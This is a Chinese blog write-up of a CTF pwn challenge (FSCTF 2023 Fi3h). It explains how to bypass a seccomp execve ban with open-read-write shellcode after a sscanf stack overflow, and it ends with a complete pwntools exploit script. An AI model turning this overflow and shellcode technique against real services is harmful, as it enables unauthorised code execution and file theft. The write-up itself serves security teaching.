首页 > 其他分享 >【pwn】[FSCTF 2023]Fi3h --orw利用,沙箱检测

【pwn】[FSCTF 2023]Fi3h --orw利用,沙箱检测

时间:2023-11-19 15:22:21浏览次数:27  
标签:addr -- orw .% io 沙箱 解析 shellcode 函数

还是先查一下程序保护情况

然后看一下代码逻辑

可以发现这里的代码还是挺多的,这里讲一下几个关键部分,首先是开头的addr = (__int64)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);将addr这个地址开始的地方变成rwx权限,我们看一下这个地址是哪里

发现addr位于bss段中,接着看一下menu函数

这是个菜单的选择,我们进去1看看

前面一大串文字都没用,主要就是这里泄露了addr的地址,然后看一下3

这是泄露了sc_s函数的地址,我们点进去sc_s函数看看

这里可以往addr地址写东西,本想写入system的shellcode,但是沙盒禁用了execve函数(可以用seccomp-tools dump查看),最后这个函数会跳转到addr去

那只能考虑一下用orw了,接着看5

这里的__isoc99_sscanf(buf, "%[^.].%[^.].%[^.].%[^.]", &v2, &v3, &v4, &v5);

这段代码使用了 __isoc99_sscanf 函数来解析字符串 buf,按照特定格式分割成四个部分,并将每个部分的值存储在相应的变量中。

函数原型为:

c

int __isoc99_sscanf(const char *restrict str, const char *restrict format, ...);

其中,第一个参数 str 是待解析的字符串,第二个参数 format 是格式字符串,后面的参数为待存储解析结果的变量。在这段代码中,解析格式为 "%[^.].%[^.].%[^.].%[^.]",具体解析步骤如下:

  • %[^.] 表示读取除了点号(.)之外的任意字符序列,这里用于读取四个由点号分隔的部分。
  • . 表示匹配一个点号字符,用于分隔每个部分。

按照给定的格式,__isoc99_sscanf 函数会解析 buf 中的内容,并将解析结果存储在相应的变量中。根据代码中的参数,可以假设变量 v2v3v4 和 v5 分别是用来存储四个部分的结果。

简单说就是按照.来分割读入四个字符串到四个变量中,这里的v5距离rbp偏移是0x80,我们可以利用这个栈溢出漏洞,控制程序到上面的sc_s函数去,这样子程序的利用过程就很明显了

exp:

from pwn import * context(os='linux',arch='amd64',log_level='debug') io=remote("node4.anna.nssctf.cn",28907)
io.sendlineafter(b'>> ',str(1)) io.recvuntil(b"never spent in ") addr=int(io.recv(14),16)   #具有rwx权限地址
io.sendlineafter(b">> ",str(3)) io.recvuntil(b"seems to be ") fun_addr=int(io.recv(14),16)
io.sendlineafter(b">> ",str(5)) io.recvuntil(b"input something:\n") payload=b"1.1.1."+b'a'*0x88+p64(fun_addr) io.send(payload)
io.recvuntil(b"deep dork fantasy:\n") new_addr=addr+0x200 shellcode=shellcraft.open("./flag") shellcode+=shellcraft.read(3,new_addr,0x50) shellcode+=shellcraft.write(1,new_addr,0x50) shellcode=asm(shellcode) io.send(shellcode) io.interactive()

标签:addr,--,orw,.%,io,沙箱,解析,shellcode,函数
From: https://www.cnblogs.com/GGbomb/p/17842088.html

相关文章

  • 如何赋予 GPT/LLM 自我意识1
    引子这个周末OpenAI搞了一个大新闻,围绕SamAltman和IlyaSutskever的各种讨论遍地开花,而其中一个关注点就是他们对于AGI降临态度上的偏差。本文不打算讨论公司治理和办公室政治,而是用一些思维实验和大家都公认的现象来分析纯理论而言AGI会如何降临。一个基本的结论就是:如......
  • CF1883翻译(精校版)
    比赛链接:CF1883A.Morning题目描述你需要输入\(t\)个四位数密码,每次输入时你的光标都在第一个数\(1\)上,在一秒内你有两种操作:按下光标输入一位密码。将光标移到任意与当前数字相邻的数字。这张图显示了你输入密码的设备,可以看到,\(5\)相邻的是\(4\)和\(6\),而\(0\)......
  • 洛谷B2016 浮点数向零舍入(Python3)
    要点:1.有正有负怎么办?正负分开写?如果只看数字部分,那取整的方式是一样的。所以我们可以先输出符号,把问题全都转化到非负数集中。2.如何取整?此处取整为向下取整。而强制类型转换把浮点数转化为整型数的时候是把小数部分全部去掉,而不是四舍五入,与题中取整方式相符,故可直......
  • 企业微信开发颜色取值
    开发企业微信应用,想要做到和企业微信一样的UI以及配色,下面是企业微信的配色:https://developer.work.weixin.qq.com/document/path/94600 打完收工!......
  • html 下载图片
    varimage=newImage()image.setAttribute('crossOrigin','anonymous')image.onload=function(){varcanvas=document.createElement('canvas')canvas.width=image.widthcanvas.height=image.heightva......
  • 2023-2024-1 20231421 《计算机基础与程序设计》第八周学习总结
    ------------恢复内容开始------------------------恢复内容开始------------------------恢复内容开始------------------------恢复内容开始------------------------恢复内容开始------------作业信息作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK08作业......
  • BLOG2
    一、作业总结该次博客作业是对第4次PTA、菜单计价程序-4、菜单计价程序-5、期中测试的一次总结。这次的菜单计价程序在之前的基础上进行了更完善的更改升级,菜单计价程序-4在菜单计价程序-3的基础上增加了异常情况的处理,菜单计价程序-5在菜单计价程序-3的基础上增加了特色菜的深入......
  • PMP答题技巧
    目录PMP答题技巧简洁汇总变更题通用知识描述题型综述ITTO情景题变更题计算题敏捷题做题方法ITTO法关键字法顺序法找出问题的主要矛盾、代入法几个默认变更题解析情景题解析整合管理情景题思路范围管理题思路进度管理题思路质量管理题思路资源管理题思路沟通管理题思路风险管理题思......
  • NOIP 2023 游记
    彻底成为NOIP搞笑型选手了。考前得甲流了,但是好了,最近这阵子长沙各种各样的感冒都多(心疼对面感冒没好全的lcm)。晚上睡得挺好,反正去考场的路上自我感觉良好。开题,冷静了一下把四个题都读完了,当时的想法是T1一眼就会了,T2好像是个随便搞搞的细节题,T3好神秘,T4又是区间又是最......
  • Acwing.第130场周赛
    Acwing.第130场周赛比赛链接A.最大数和最小数题目链接思路:简单模拟,使用max()和min()函数就可以了代码:#include<bits/stdc++.h>usingnamespacestd;voidsolve(){ inta,b,c; cin>>a>>b>>c; cout<<max(a,max(b,c))<<""<<min(a,min(b,c))<......